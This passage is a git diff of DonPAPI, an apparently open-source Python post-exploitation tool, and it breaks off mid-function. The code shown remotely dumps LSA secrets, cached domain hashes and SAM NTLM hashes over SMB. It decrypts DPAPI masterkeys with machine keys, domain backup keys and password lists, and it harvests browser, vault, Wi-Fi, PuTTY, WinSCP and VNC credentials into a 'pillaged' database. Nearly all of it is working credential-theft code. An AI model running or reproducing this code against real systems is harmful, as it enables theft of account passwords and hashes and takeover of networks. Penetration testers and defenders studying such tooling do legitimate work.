+ hash=hash, context=type, pillaged_from_computer_ip=self.options.target_ip)
+ except Exception as ex:
+ self.logging.error(
+ f"[{self.options.target_ip}] {bcolors.FAIL}Error in Database entry - download_masterkey_hash{bcolors.ENDC}")
+ self.logging.debug(ex)
+
+ def get_masterkey(self, user, guid, type):
+ guid = guid.lower()
+ if guid not in user.masterkeys_file:
+ self.logging.debug(
+ f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} not found")
+ return -1
+ else:
+ self.logging.debug(
+ f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} Found")
+ if user.masterkeys_file[guid]['status'] == 'decrypted':
+ self.logging.debug(
+ f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} already decrypted")
+ return user.masterkeys_file[guid]
+ elif user.masterkeys_file[guid]['status'] == 'encrypted':
+ return self.decrypt_masterkey(user, guid, type, tested_type=[])
+
+ def decrypt_masterkey(self, user, guid, type='', tested_type=[]):
+
+ self.logging.debug(
+ f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} of type {type} (type_validated={user.type_validated}/user.type={user.type}) - tested : {tested_type}")
+ guid = guid.lower()
+ if guid not in user.masterkeys_file:
+ self.logging.debug(
+ f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} not found")
+ return -1
+ localfile = user.masterkeys_file[guid]['path']
+
+ if user.masterkeys_file[guid]['status'] == 'decrypted':
+ self.logging.debug(
+ f"[{self.options.target_ip}] [-] {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} already decrypted")
+ return user.masterkeys_file[guid]
+ else:
+ # if user.type_validated == True:
+ # type=user.type
+ if type == '':
+ type = user.type
+
+ if 'MACHINE' in tested_type and 'MACHINE-USER' in tested_type and 'DOMAIN' in tested_type and 'LOCAL' in tested_type:
+ self.logging.debug(
+ f"[{self.options.target_ip}] [!] {bcolors.FAIL}{user.username}{bcolors.ENDC} masterkey {guid} : All decryption type failed")
+ return -1
+
+ if type == 'MACHINE':
+ # Try de decrypt masterkey file
+ for key in self.machine_key:
+ self.logging.debug(
+ f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with MACHINE_Key from LSA {key.decode('utf-8')}")
+ try:
+ myoptions = copy.deepcopy(self.options)
+ myoptions.sid = None # user.sid
+ myoptions.username = user.username
+ myoptions.pvk = None
+ myoptions.file = localfile # Masterkeyfile to parse
+ myoptions.key = key.decode("utf-8")
+ mydpapi = DPAPI(myoptions, self.logging)
+ decrypted_masterkey = mydpapi.decrypt_masterkey()
+ if decrypted_masterkey != None and decrypted_masterkey != -1:
+ # self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}[...] Maserkey {bcolors.ENDC}{localfile} {bcolors.ENDC}: {decrypted_masterkey}" )
+ user.masterkeys_file[guid]['status'] = 'decrypted'
+ user.masterkeys_file[guid]['key'] = decrypted_masterkey
+ # user.masterkeys[localfile] = decrypted_masterkey
+ user.type = 'MACHINE'
+ user.type_validated = True
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for Machine {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}")
+ self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
+ status=user.masterkeys_file[guid]['status'],
+ decrypted_with="MACHINE-KEY", decrypted_value=decrypted_masterkey,
+ pillaged_from_computer_ip=self.options.target_ip,
+ pillaged_from_username=user.username)
+ return user.masterkeys_file[guid]
+ else:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING} MACHINE-Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid}{bcolors.ENDC}")
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] Exception {bcolors.WARNING} MACHINE-Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid}{bcolors.ENDC}")
+ self.logging.debug(ex)
+ else:
+ # if user.type_validated == False:
+ tested_type.append('MACHINE')
+ self.decrypt_masterkey(user, guid, type='MACHINE-USER', tested_type=tested_type)
+ elif type == 'MACHINE-USER':
+ # Try de decrypt masterkey file
+ for key in self.user_key:
+ self.logging.debug(
+ f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with MACHINE-USER_Key from LSA {key.decode('utf-8')}") # and SID %s , user.sid ))
+ try:
+ # key1, key2 = deriveKeysFromUserkey(tsid, userkey)
+ myoptions = copy.deepcopy(self.options)
+ myoptions.file = localfile # Masterkeyfile to parse
+ if user.is_adconnect is True:
+ myoptions.key = key.decode("utf-8")
+ myoptions.sid = user.sid
+ else:
+ myoptions.key = key.decode("utf-8") # None
+ myoptions.sid = None # user.sid
+
+ myoptions.username = user.username
+ myoptions.pvk = None
+ mydpapi = DPAPI(myoptions, self.logging)
+ decrypted_masterkey = mydpapi.decrypt_masterkey()
+ if decrypted_masterkey != -1 and decrypted_masterkey != None:
+ # self.logging.debug(f"[{self.options.target_ip}] Decryption successfull {bcolors.ENDC}: {decrypted_masterkey}")
+ user.masterkeys_file[guid]['status'] = 'decrypted'
+ user.masterkeys_file[guid]['key'] = decrypted_masterkey
+ # user.masterkeys[localfile] = decrypted_masterkey
+ user.type = 'MACHINE-USER'
+ user.type_validated = True
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for Machine {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}")
+ self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
+ status=user.masterkeys_file[guid]['status'],
+ decrypted_with="MACHINE-USER", decrypted_value=decrypted_masterkey,
+ pillaged_from_computer_ip=self.options.target_ip,
+ pillaged_from_username=user.username)
+ return user.masterkeys_file[guid]
+ else:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING} MACHINE-USER_Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid}{bcolors.ENDC}")
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] Exception {bcolors.WARNING} MACHINE-USER_Key from LSA {key.decode('utf-8')} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid}{bcolors.ENDC}")
+ self.logging.debug(ex)
+ else:
+ tested_type.append('MACHINE-USER')
+ if user.type_validated == False and not user.is_adconnect:
+ return self.decrypt_masterkey(user, guid, type='DOMAIN', tested_type=tested_type)
+ if 'DOMAIN' not in tested_type:
+ return self.decrypt_masterkey(user, guid, type='DOMAIN', tested_type=tested_type)
+
+ elif type == 'DOMAIN' and self.options.pvk is not None:
+ # For ADConnect
+ if user.is_adconnect is True and 'MACHINE-USER' not in tested_type:
+ return self.decrypt_masterkey(user, guid, type='MACHINE-USER', tested_type=tested_type)
+ # Try de decrypt masterkey file
+ self.logging.debug(
+ f"[{self.options.target_ip}] [...] Decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with Domain Backupkey {self.options.pvk}")
+ try:
+ myoptions = copy.deepcopy(self.options)
+ myoptions.file = localfile # Masterkeyfile to parse
+ myoptions.username = user.username
+ myoptions.sid = user.sid
+ mydpapi = DPAPI(myoptions, self.logging)
+ decrypted_masterkey = mydpapi.decrypt_masterkey()
+ if decrypted_masterkey != -1 and decrypted_masterkey != None:
+ # self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull {bcolors.ENDC}: %s" % decrypted_masterkey)
+ user.masterkeys_file[guid]['status'] = 'decrypted'
+ user.masterkeys_file[guid]['key'] = decrypted_masterkey
+ # user.masterkeys[localfile] = decrypted_masterkey
+ user.type = 'DOMAIN'
+ user.type_validated = True
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for user {bcolors.OKBLUE} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}")
+ self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
+ status=user.masterkeys_file[guid]['status'],
+ decrypted_with="DOMAIN-PVK",
+ decrypted_value=decrypted_masterkey,
+ pillaged_from_computer_ip=self.options.target_ip,
+ pillaged_from_username=user.username)
+ return user.masterkeys_file[guid]
+ else:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Domain Backupkey {self.options.pvk} can't decode {bcolors.OKBLUE}{user.username}{bcolors.WARNING} Masterkey {guid} -> Checking with Local user with credz{bcolors.ENDC}")
+ # if user.type_validated == False:
+ tested_type.append('DOMAIN')
+ return self.decrypt_masterkey(user, guid, 'LOCAL', tested_type=tested_type)
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.WARNING}Exception decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with Domain Backupkey (most likely user is only local user) -> Running for Local user with credz{bcolors.ENDC}")
+ self.logging.debug(f"exception was : {ex}")
+ # if user.type_validated == False:
+ tested_type.append('DOMAIN')
+ return self.decrypt_masterkey(user, guid, 'LOCAL', tested_type=tested_type)
+ # type==LOCAL
+ # On a des credz
+ if len(self.options.credz) > 0 and user.masterkeys_file[guid][
+ 'status'] != 'decrypted': # localfile not in user.masterkeys:
+ self.logging.debug(
+ f"[{self.options.target_ip}] [...] Testing decoding {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid} with credz")
+ for username in self.options.credz:
+ if username.lower() in user.username.lower(): # pour fonctionner aussi avec le .domain ou les sessions multiple citrix en user.domain.001 ?
+ # self.logging.debug(f"[{self.options.target_ip}] [...] Testing {len(self.options.credz[username])} credz for user {user.username}")
+ # for test_cred in self.options.credz[user.username]:
+ try:
+ self.logging.debug(
+ f"[{self.options.target_ip}]Trying to decrypt {bcolors.OKBLUE}{user.username}{bcolors.ENDC} Masterkey {guid} with user SID {user.sid} and {len(self.options.credz[username])}credential(s) from credz file")
+ myoptions = copy.deepcopy(self.options)
+ myoptions.file = localfile # Masterkeyfile to parse
+ # myoptions.password = self.options.credz[username]
+ myoptions.sid = user.sid
+ myoptions.pvk = None
+ myoptions.key = None
+ mydpapi = DPAPI(myoptions, self.logging)
+ decrypted_masterkey = mydpapi.decrypt_masterkey(passwords=self.options.credz[username])
+ if decrypted_masterkey != -1 and decrypted_masterkey != None:
+ # self.logging.debug(f"[{self.options.target_ip}] {bcolors.OKGREEN}Decryption successfull {bcolors.ENDC}: {decrypted_masterkey}")
+ user.masterkeys_file[guid]['status'] = 'decrypted'
+ user.masterkeys_file[guid]['key'] = decrypted_masterkey
+ # user.masterkeys[localfile] = decrypted_masterkey
+ user.type = 'LOCAL'
+ user.type_validated = True
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.OKBLUE}Decryption successfull {bcolors.ENDC} of Masterkey {guid} for User {bcolors.OKGREEN} {user.username}{bcolors.ENDC} \nKey: {decrypted_masterkey}")
+ self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
+ status=user.masterkeys_file[guid]['status'],
+ decrypted_with=f"Password:{self.options.credz[username]}",
+ decrypted_value=decrypted_masterkey,
+ pillaged_from_computer_ip=self.options.target_ip,
+ pillaged_from_username=user.username)
+ return user.masterkeys_file[guid]
+ else:
+ self.logging.debug(
+ f"[{self.options.target_ip}] error decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey {guid} with {len(self.options.credz[username])} passwords from user {username} in cred list")
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] Except decrypting {bcolors.OKBLUE}{user.username}{bcolors.ENDC} masterkey with {len(self.options.credz[username])} passwords from user {username} in cred list")
+ self.logging.debug(ex)
+ else:
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.FAIL}no credential in credz file for user {user.username} and masterkey {guid} {bcolors.ENDC}")
+ tested_type.append('LOCAL')
+ if user.masterkeys_file[guid]['status'] == 'encrypted':
+ if 'DOMAIN' not in tested_type:
+ return self.decrypt_masterkey(user, guid, 'DOMAIN', tested_type=tested_type)
+ elif 'MACHINE' not in tested_type:
+ return self.decrypt_masterkey(user, guid, 'MACHINE', tested_type=tested_type)
+ elif 'MACHINE-USER' not in tested_type:
+ return self.decrypt_masterkey(user, guid, 'MACHINE-USER', tested_type=tested_type)
+
+ # on a pas su le dechiffrer, mais on conseve la masterkey
+ '''if localfile not in user.masterkeys:
+ user.masterkeys[localfile] = None'''
+ if user.masterkeys_file[guid]['status'] == 'encrypted':
+ user.masterkeys_file[guid]['status'] = 'decryption_failed'
+ self.db.update_masterkey(file_path=user.masterkeys_file[guid]['path'], guid=guid,
+ status=user.masterkeys_file[guid]['status'], decrypted_with='',
+ decrypted_value='',
+ pillaged_from_computer_ip=self.options.target_ip,
+ pillaged_from_username=user.username)
+ return -1
+ elif user.masterkeys_file[guid]['status'] == 'decrypted': # Should'nt go here
+ return user.masterkeys_file[guid]
+
+ def test_remoteOps(self):
+ try:
+ # Remove logging
+ # logging.getLogger().setLevel(logging.CRITICAL)
+ self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE} [+] Dumping LSA Secrets{bcolors.ENDC}")
+
+ self.__remoteOps = MyRemoteOperations(self.smb, self.options.k, self.options.dc_ip)
+ self.__remoteOps.setExecMethod('smbexec')
+ self.__remoteOps.enableRegistry()
+ self.__bootKey = self.__remoteOps.getBootKey()
+ self.logging.debug(f"bootkey: {self.__bootKey}")
+ SECURITYFileName = self.__remoteOps.saveSECURITY()
+ self.logging.debug("savesecurity")
+ self.__LSASecrets = MyLSASecrets(SECURITYFileName, self.__bootKey, self.__remoteOps, isRemote=True,
+ history=True)
+ self.logging.debug("LSASecret")
+ self.__LSASecrets.dumpCachedHashes()
+ self.logging.debug("dump cached hashes")
+ self.__LSASecrets.dumpSecrets()
+
+ filedest = os.path.join(os.path.join(self.options.output_directory, self.options.target_ip), 'LSA')
+ Path(os.path.split(filedest.replace('\\', '/'))[0]).mkdir(parents=True, exist_ok=True)
+ self.logging.debug(f"[{self.options.target_ip}] Dumping LSA Secrets to file {filedest}")
+ finalfile = self.__LSASecrets.exportSecrets(filedest)
+ self.logging.debug("ret file %s" % finalfile)
+ self.__LSASecrets.exportCached(filedest)
+ # Analyser les hash DCC2 pour un export massif.
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] Except remoteOps LSA")
+ self.logging.debug(ex)
+ try:
+ tmp_filedest = filedest + '.secrets'
+ f = open(tmp_filedest, 'rb')
+ secrets = f.read().split(b'\n')
+ f.close()
+ for index, secret in enumerate(secrets):
+ if b'dpapi_machinekey' in secret:
+ self.logging.info(
+ f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Found DPAPI Machine key{bcolors.ENDC} : {secret.split(b'dpapi_machinekey:')[1].decode('utf-8')}")
+ # print(secret.split(b'dpapi_machinekey:')[1])
+ self.machine_key.append(secret.split(b'dpapi_machinekey:')[1])
+ self.logging.debug(self.machine_key)
+ if b'dpapi_userkey' in secret:
+ self.logging.info(
+ f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Found DPAPI User key{bcolors.ENDC} : {secret.split(b'dpapi_userkey:')[1].decode('utf-8')}")
+ self.user_key.append(secret.split(b'dpapi_userkey:')[1])
+ self.logging.debug(self.user_key)
+ if b':' in secret:
+ if secret.count(b':') == 1:
+ username, password = secret.split(b':')
+ if username.decode('utf-8') not in ['dpapi_machinekey', 'dpapi_userkey', 'NL$KM']:
+ if username.decode('utf-8') not in self.options.credz:
+
+ self.options.credz[username.decode('utf-8')] = [password.decode('utf-8')]
+ self.logging.info(
+ f"[{self.options.target_ip}] [+] {bcolors.OKBLUE} LSA : {bcolors.OKGREEN} {username.decode('utf-8')} : {password.decode('utf-8')} {bcolors.ENDC}")
+
+ else:
+ if password.decode('utf-8') not in self.options.credz[username.decode('utf-8')]:
+ self.options.credz[username.decode('utf-8')].append(password.decode('utf-8'))
+ self.logging.info(
+ f"[{self.options.target_ip}] [+] {bcolors.OKBLUE} LSA : {bcolors.OKGREEN} {username.decode('utf-8')} : {password.decode('utf-8')} {bcolors.ENDC}")
+ ############PROCESSING DATA
+ self.db.add_credz(credz_type='LSA',
+ credz_username=username.decode('utf-8'),
+ credz_password=password.decode('utf-8'),
+ credz_target='',
+ credz_path=tmp_filedest,
+ pillaged_from_computer_ip=self.options.target_ip,
+ pillaged_from_username='MACHINE$')
+
+ else:
+ self.logging.debug("Secret %i - %s" % (index, secret))
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] Except remoteOps Secrets")
+ self.logging.debug(ex)
+
+ try:
+ ##Add DCC2
+
+ tmp_filedest = filedest + '.cached'
+ f = open(tmp_filedest, 'rb')
+ secrets = f.read().split(b'\n')
+ f.close()
+ for index, secret in enumerate(secrets):
+ if b':' in secret and b'#' in secret:
+ if secret.count(b':') == 1:
+ username, password = secret.split(b':')
+ self.logging.debug(
+ f"[{self.options.target_ip}] {bcolors.OKBLUE}[-] Found DCC2 hash :{bcolors.OKGREEN} {secret.decode('utf-8')}{bcolors.ENDC}")
+ ############PROCESSING DATA
+ self.db.add_credz(credz_type='DCC2',
+ credz_username=username.decode('utf-8'),
+ credz_password=password.decode('utf-8'),
+ credz_target='',
+ credz_path=tmp_filedest,
+ pillaged_from_computer_ip=self.options.target_ip,
+ pillaged_from_username='MACHINE$')
+
+ else:
+ self.logging.debug("Secret %i - %s" % (index, secret))
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] Except remoteOps LSA DCC2")
+ self.logging.debug(ex)
+
+ try:
+ # Add SAM
+ self.logging.info(f"[{self.options.target_ip}] {bcolors.OKBLUE} [+] Dumping SAM Secrets{bcolors.ENDC}")
+ SAMFileName = self.__remoteOps.saveSAM()
+ self.__SAMHashes = MySAMHashes(SAMFileName, self.__bootKey, isRemote=True)
+ self.__SAMHashes.dump()
+ filedest = os.path.join(os.path.join(self.options.output_directory, self.options.target_ip), 'SAM')
+ self.__SAMHashes.export(filedest)
+ # Adding SAM hash to credz
+ tmp_filedest = filedest + '.sam'
+ f = open(tmp_filedest, 'rb')
+ sam_data = f.read().split(b'\n')
+ f.close()
+ for sam_line in sam_data:
+ if b':' in sam_line:
+ if sam_line.count(b':') == 6:
+ username, sid, lm, ntlm, _, _, _ = sam_line.split(b':')
+ # On ne l'ajoute pas aux credz, c'est un hash NTLM, il ne peut pas etre utilisé par dpapi
+ '''
+ if username.decode('utf-8') not in self.options.credz:
+ self.options.credz[username.decode('utf-8')] = [ntlm.decode('utf-8')]
+ else:
+ if ntlm.decode('utf-8') not in self.options.credz[username.decode('utf-8')]:
+ self.options.credz[username.decode('utf-8')].append(ntlm.decode('utf-8'))
+ '''
+ ############PROCESSING DATA
+ self.db.add_credz(credz_type='SAM',
+ credz_username=username.decode('utf-8'),
+ credz_password=ntlm.decode('utf-8'),
+ credz_target='',
+ credz_path=tmp_filedest,
+ pillaged_from_computer_ip=self.options.target_ip,
+ pillaged_from_username='MACHINE$')
+ self.logging.info(
+ f"[{self.options.target_ip}] [+] {bcolors.OKBLUE} SAM : Collected {bcolors.OKGREEN}{len(sam_data)} hashes {bcolors.ENDC}")
+ # logging.getLogger().setLevel(logging.DEBUG)
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] Except remoteOps SAM")
+ self.logging.debug(ex)
+ self.__remoteOps.finish()
+ return 1
+
+ def GetRecentFiles(self):
+ myRecentFiles = recent_files(self.smb, self.myregops, self.myfileops, self.logging, self.options, self.db,
+ self.users)
+ myRecentFiles.run()
+
+ def GetMRemoteNG(self):
+ from software.manager.mRemoteNG import mRemoteNG
+ myMRemoteNG = mRemoteNG(self.smb, self.myregops, self.myfileops, self.logging, self.options, self.db,
+ self.users)
+ myMRemoteNG.run()
+
+ def GetPutty(self):
+ from software.sysadmin.putty import Putty
+ myPutty = Putty(self.smb, self.myregops, self.myfileops, self.logging, self.options, self.db)
+ myPutty.run()
+
+ def GetWinscp(self):
+ from software.sysadmin.winscp import Winscp
+ myWinscp = Winscp(self.smb, self.myregops, self.myfileops, self.logging, self.options, self.db)
+ myWinscp.run()
+
+ def GetNew_Module(self):
+ myNewModule = new_module(self.smb, self.myregops, self.myfileops, self.logging, self.options, self.db,
+ self.users)
+ myNewModule.run()
+
+ def GetCertificates(self):
+ certificates_triage = CertificatesTriage(self.smb, self.myregops, self.myfileops, self.logging, self.options,
+ self.db, self.users, self.user_key, self.machine_key)
+ certificates_triage.run()
+
+ def do_test(self):
+ try:
+ if self.admin_privs and True:
+ # self.do_info()
+ self.do_who()
+ self.get_users()
+ #
+
+ if self.options.no_remoteops == False:
+ try:
+ self.test_remoteOps()
+ except Exception as ex:
+ self.logging.debug(
+ f"[{self.options.target_ip}] Exception in RemoteOps - Maybe blocked by EDR ? ")
+ self.logging.debug(f"exception was : {ex}")
+ # self.
+ if self.options.no_dpapi == False:
+ self.get_masterkeys()
+ self.Get_DPAPI_Protected_Files()
+ self.GetWifi()
+ self.GetVaults()
+ self.GetCertificates()
+ if self.options.no_browser == False:
+ self.GetChromeSecrets()
+ self.GetEdgeSecrets()
+ self.GetMozillaSecrets_wrapper()
+ if self.options.no_sysadmins == False:
+ self.GetMRemoteNG()
+ self.GetPutty()
+ self.GetWinscp()
+ if self.options.no_vnc == False:
+ self.GetVNC()
+ if self.options.no_recent == False:
+ self.GetRecentFiles()
+
+ """
+ ***Dev your new module code and start it from here
+
+ if self.options.no_new_module == False:
+ self.GetNew_Module()
+ """
+
+ # self.logging.info(f"[{self.options.target_ip}] {bcolors.OKGREEN}*-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=*\n{bcolors.ENDC}")
+ # for user in self.users:
+ # user.resume_user_info()
+ # user.resume_secrets()
+ # else:
+ # NOT ADMIN
+ self.close_smb()
+
+
+ except Exception as ex:
+ self.logging.debug(f"[{self.options.target_ip}] Not connected")
+ self.logging.debug(f"exception was : {ex}")
+
+ def get_secrets(self):
+ all_secrets = {}
+ for user in self.users:
+ all_secrets[user] = user.get_secrets()
# DPAPI unprotect
# DPAPI decryptMasterkey
diff --git a/donpapi/myusers.py b/donpapi/myusers.py
index 200e8c7..38fb95d 100644
--- a/donpapi/myusers.py
+++ b/donpapi/myusers.py
@@ -1,128 +1,162 @@
+#!/usr/bin/env python3
+# -*- encoding: utf-8 -*-
+
+"""
+MyUser module contain MyUser class.
+@Author: Pierre-Alexandre Vandewoestyne (@T00uF)
+"""
-#!/usr/bin/env python
-# coding:utf-8
-'''
-PA Vandewoestyne
-'''
-from __future__ import division
-from __future__ import print_function
-import errno, binascii, shutil
-import sys, json, operator
-from datetime import datetime
-from binascii import hexlify, unhexlify
-import logging
-import sys
from donpapi.lib.toolbox import bcolors
+
class MyUser:
- def __init__(self, username,logger,options):
- self.username = username
- self.options=options
- self.logging = logger
- self.sid = ''#un user peut avoir plusieurs SID ?
- self.type = 'LOCAL'#LOCAL,DOMAIN,MACHINE,MACHINE-USER
- self.type_validated = False
- self.appdata = ''
- self.password = ''
- self.domain = ''
- self.lmhash = ''
- self.nthash = ''
- self.aesKey = ''
- self.TGT = ''
- #self.masterkeys = {} # GUID_File: masterkey
- self.masterkeys_file = {}
- self.files = {}
- self.secrets = {}
- self.dpapi_machinekey: []
- self.dpapi_userkey: []
- self.share = None
- self.pwd = None
- self.is_adconnect = False
+ """MyUser class."""
+ def __init__(self, username, logger, options):
+ self.username = username
+ self.options = options
+ self.logging = logger
+ self.sid = '' # A user may have many SID ?
+ self.type = 'LOCAL' # LOCAL, DOMAIN, MACHINE, MACHINE-USER
+ self.type_validated = False
+ self.appdata = ''
+ self.password = ''
+ self.domain = ''
+ self.lmhash = ''
+ self.nthash = ''
+ self.aesKey = ''
+ self.TGT = ''
+ # self.masterkeys = {} # GUID_File: masterkey
+ self.masterkeys_file = {}
+ self.files = {}
+ self.secrets = {}
+ self.dpapi_machinekey: []
+ self.dpapi_userkey: []
+ self.share = None
+ self.pwd = None
+ self.is_adconnect = False
- def resume_user_info(self):
- try:
- encrypted=0
- decrypted=0
- decryption_failed=0
+ def resume_user_info(self):
+ """Resume user informations."""
+ try:
+ encrypted = 0
+ decrypted = 0
+ decryption_failed = 0
- for masterkey in self.masterkeys_file:
- if self.masterkeys_file[masterkey]['status']=='decrypted':
- decrypted+=1
- elif self.masterkeys_file[masterkey]['status']=='encrypted':
- encrypted+=1
- elif self.masterkeys_file[masterkey]['status'] == 'decryption_failed':
- decryption_failed+=1
- file_stats={}
- for file in self.files:
- if self.files[file]['type'] not in file_stats:
- file_stats[self.files[file]['type']]={}
- if self.files[file]['status'] not in file_stats[self.files[file]['type']]:
- file_stats[self.files[file]['type']][self.files[file]['status']]=[file]
- else:
- file_stats[self.files[file]['type']][self.files[file]['status']].append(file)
+ for masterkey in self.masterkeys_file.items():
+ if masterkey['status'] == 'decrypted':
+ decrypted += 1
+ elif masterkey['status'] == 'encrypted':
+ encrypted += 1
+ elif masterkey['status'] == 'decryption_failed':
+ decryption_failed += 1
+ file_stats = {}
+ for key, user_file in self.files.items():
+ if user_file['type'] not in file_stats:
+ file_stats[user_file['type']] = {}
+ if user_file['status'] not in file_stats[user_file['type']]:
+ file_stats[user_file['type']][user_file['status']] = [key]
+ else:
+ file_stats[user_file['type']][user_file['status']].append(key)
+ msg_log = f"[{self.options.target_ip}] {bcolors.OKGREEN}{self.username}{bcolors.ENDC}" \
+ f" - ({self.sid}) - [{self.type} account]"
+ self.logging.info(msg_log)
+ msg_log = f"[{self.options.target_ip}] [{len(self.masterkeys_file)} Masterkeys " \
+ f"({bcolors.OKGREEN}{decrypted} decrypted{bcolors.ENDC}/{bcolors.WARNING}" \
+ f"{decryption_failed} failed{bcolors.ENDC}/{bcolors.OKBLUE}{encrypted} " \
+ f"not used{bcolors.ENDC})]"
+ self.logging.info(msg_log)
+ self.logging.info(f"[{self.options.target_ip}] [{len(self.files)} secrets files : ]")
- self.logging.info(f"[{self.options.target_ip}] {bcolors.OKGREEN}{self.username}{bcolors.ENDC} - ({self.sid}) - [{self.type} account]")
- self.logging.info(f"[{self.options.target_ip}] [{len(self.masterkeys_file)} Masterkeys ({bcolors.OKGREEN}{decrypted} decrypted{bcolors.ENDC}/{bcolors.WARNING}{decryption_failed} failed{bcolors.ENDC}/{bcolors.OKBLUE}{encrypted} not used{bcolors.ENDC})]")
- self.logging.info(f"[{self.options.target_ip}] [{len(self.files)} secrets files : ]")
- for secret_type in file_stats:
- for status in file_stats[secret_type]:
- self.logging.info(f"[{self.options.target_ip}] - {bcolors.OKGREEN}{len(file_stats[secret_type][status])}{bcolors.ENDC} {status} {secret_type}")
- if status == 'decrypted':
- for secret_file in file_stats[secret_type][status]:
- try:
- if secret_type == 'vault' :
- for vcrd_file in self.files[secret_file]['vcrd']:
- if self.files[secret_file]['vcrd'][vcrd_file]['status']=='decrypted':
- self.logging.info(f"[{self.options.target_ip}] Vault {secret_file} - {vcrd_file} : {self.files[secret_file]['vcrd'][vcrd_file]['secret']}")
- #self.logging.info(f"[{self.options.target_ip}] Vault {secret_file} : {self.secrets[vcrd_file]}")
- elif secret_type in ["ChromeLoginData","MozillaLoginData"]:
- for uri in self.files[secret_file]['secret']:
- self.logging.info(f"[{self.options.target_ip}] Chrome {uri} - {self.files[secret_file]['secret'][uri]['username']} : {self.files[secret_file]['secret'][uri]['password']}")
- elif secret_type == "ChromeCookies" :
- for uri in self.files[secret_file]['secret']:
- for cookie_name in self.files[secret_file]['secret'][uri]:
- self.logging.debug(f"[{self.options.target_ip}] Chrome {uri} - {cookie_name} : {self.files[secret_file]['secret'][uri][cookie_name]}")
- elif secret_type == "wifi":
- if secret_file in self.files:
- self.logging.info(f"[{self.options.target_ip}] Wifi : {self.files[secret_file]['wifi_name']} : {self.files[secret_file]['secret']}")
+ for secret_type, file_status in file_stats.items():
+ for status in file_status:
- else:
- if secret_file in self.files: #For Credential & Wifi
- self.logging.info(f"[{self.options.target_ip}] {secret_file} : {self.files[secret_file]['secret']}")
- except Exception as ex:
- self.logging.debug(f"[{self.options.target_ip}] {bcolors.WARNING}Exception 00 in ResumeUserInfo for user {self.username} secret file {secret_file} type {secret_type} {bcolors.ENDC}")
- self.logging.debug(ex)
- else:
- for secret_file in file_stats[secret_type][status]:
- self.logging.debug(f"[{self.options.target_ip}] {secret_file} : {self.files[secret_file]['path']}")
+ msg_log = f"[{self.options.target_ip}] - " \
+ f"{bcolors.OKGREEN}{len(file_status[status])}{bcolors.ENDC} " \
+ f"{status} {secret_type}"
+ self.logging.info(msg_log)
- self.logging.debug(f"[{self.options.target_ip}] -=-=-=-= Masterkeys details =-=-=-=-")
- for masterkey in self.masterkeys_file:
- self.logging.debug(f" [*]GUID : {masterkey}")
- self.logging.debug(f" [*]Status : {self.masterkeys_file[masterkey]['status']}")
- self.logging.debug(f" [*]path : {self.masterkeys_file[masterkey]['path']}")
- if self.masterkeys_file[masterkey]['status']=='decrypted':
- self.logging.debug(f" [*]key : {self.masterkeys_file[masterkey]['key']}")
- self.logging.debug(f" [*] -=- -=- -=- -=- -=- -=- [*]")
- self.resume_secrets()
- except Exception as ex:
